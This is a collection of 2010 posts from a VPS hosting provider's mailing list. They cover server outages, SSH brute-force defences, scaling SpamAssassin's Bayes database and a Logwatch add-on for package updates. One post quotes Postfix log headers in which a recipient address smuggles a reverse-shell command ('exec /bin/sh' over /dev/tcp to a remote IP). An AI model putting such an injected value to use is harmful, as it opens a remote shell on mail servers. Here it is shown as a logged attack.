At approx 1955Z faustino became unavailable. Indications are that
nothing else in the same rack is available either, so it looks like
a rack-wide or suite-wide outage. Colo provider is investigating.
More info as I have it.
(Although this outage is similar to the one before that affected
faustino, it's unlikely to be the same cause as that machine was
moved to a different suite)
With all the talk about SSH security, it is also shocking to see the
break-in attempts made on other services e.g. httpd and smtpd.
The httpd are often mod_proxy or PHP/phpMyAdmin attempts (no PHP
here), but an odd record in the Postfix log today was a little
X-Original-To: "root+:|exec /bin/sh 0</dev/tcp/220.127.116.11/9991 1>&0 2>&0"
Delivered-To: "root+:|exec /bin/sh 0</dev/tcp/18.104.22.168/9991 1>&0
Received: from bluedick (debian01.vservers.at [22.214.171.124])
by calliope (Postfix) with SMTP id F1B31DC001
for <"root+:|exec /bin/sh 0</dev/tcp/126.96.36.199/9991 1>&0
2>&0">; Wed, 17 Mar 2010 22:53:13 +0000 (GMT)
Date: Wed, 17 Mar 2010 22:53:13 +0000 (GMT)
I assume some sort of attempt to break Postfix. This message was
delivered to "root" mailbox (no content).
Scary place the internet sometimes ....
At approximately 0806Z I was alerted that host kahlua had become
Despite ping still working, and SSH answering as far as its banner,
no further networking was in evidence. I attempted to gain control
from the serial console but this was also unresponsive, so after
trying a few things I had no choice but to reboot the server.
As of approximately 0838Z, all VPSes on kahlua have been restarted
although some are still doing a fsck. Please contact support if
you're still experiencing problems.
I am now attempting to establish what went wrong and will follow up
when I have more info.
Please accept my apologies for the disruption.
PS During the problems there were progress updates posted to
http://identi.ca/bitfolk and http://twitter.com/bitfolk
http://bitfolk.com/ -- No-nonsense VPS hosting
In the last month I've been looking at improving the performance of
the spamassassin spamd service.
I added two more hosts to the load balancer and that has helped
some, but the bottleneck has now moved to the bayes database.
The servers are connecting to a MySQL bayes database so that they're
all in sync, but the problem comes when the database slows down.
Queries stack up and spamd doesn't seem to have config for giving up
on bayes after (say) 10 seconds, so then those connections back up
until all the servers are full.
Normally I'd look at scaling it by doing multi-master replication,
but the spamassassin docs specifically say this isn't supported and
Has anyone scaled a spamassassin bayes DB before?
Is my only option to replicate it to slaves with a MySQL proxy in
front to send writes to the master?
Maybe I could revert to using DB_File databases, but over NFS.
Except it sounds horrible.
http://bitfolk.com/ -- No-nonsense VPS hosting
On Sun, March 14, 2010 10:37 am, Duane at e164 dot org wrote:
> Doing semi-complete/complete backups via rsync/rsnapshot is difficult
> using a non-SU account.
Although if that's all you need root SSH access for you can always use the
'PermitRootLogin forced-commands-only' SSHD option.
On Sun, March 14, 2010 8:51 am, Andy Smith wrote:
> This very long email is about possible pro-active measures I could take
> to prevent customers being compromised by SSH dictionary attacks.
Apt timing for me - I've only just joined and noticed in my logs that from
the very first day of my VPS going live I was receiving 500 login attempts
per hour (not from another Bitfolk customer however).
> 5) Install DenyHosts or Fail2Ban.
I think this approach would be a good start, although note that neither of
those support IPv6 so for those that have it enabled they'd turn a blind
eye to such connections. SSHguard (http://www.sshguard.net) claims to
support it however I've not used it personally.
> (3) is already the case for Ubuntu of course, but not any of the other
> distributions offered. I haven't kept track of how many compromises have
> been of root and not some other user but disabling root access by SSH and
> requiring some other username seems a reasonable starting point, would at
> least limit the damage.
My Ubuntu memories are somewhat hazy however is it not the case that with
the default setup the first user is made part of the admin group? Hence,
if their password is compromised an attacker also has full superuser
rights through sudo... The attacker does of course have to be hitting the
right username so there is still some mitigation however.
Would it be too much administrative overhead for you to have two levels of vps images.
One would be fairly locked down, maybe with ssh on a different port, fail2ban and a basic firewall pre installed.
The second would be the image you currently provide with ssh locked to key authentication only.
If people want a vps provisioned with a password they get the first image. Users who provision with a key can choose either image.
This email carries a disclaimer, a copy of which may be read at http://learning.longhill.org.uk/disclaimer
Don't know if anyone knows of a more elegant solution than this (or
perhaps an existing solution?) but I've a few Ubuntu boxes that I
admin, and I've never any idea of when there are package updates. Now
I know that Andy has provided a script (see
that notifies you when updates are available, but it's 'yet another
thing'(c) that you have to run.
I use Logwatch on all my servers, and so I wondered if it was possible
to write an add-on for that that would integrate such information into
the daily report - turns out there is (and it isn't too difficult to
Firstly, obtain a copy of Andy's local-apt.pl script and copy it into
/etc/logwatch/scripts/services. At this point, rename the script
'apt-updates' (but you can call it whatever you want). Then create a
file in /etc/logwatch/conf/services and call it apt-updates.conf
(again, you can call this whatever you want, but it must match the
name given to the script). Inside this script, you only need the
following two lines: (title can be customised if you prefer)
Title = "Package Updates"
LogFile = NONE
To test this is working, execute the following line:
sudo logwatch --service apt-updates --debug high
(obviously replace 'apt-updates' bit if you've changed the script name)
Assuming your server requires some updates, the list of packages will
be displayed in the output (and also from now on in your daily
Hope this helps :) (and thanks to Andy for providing the above script)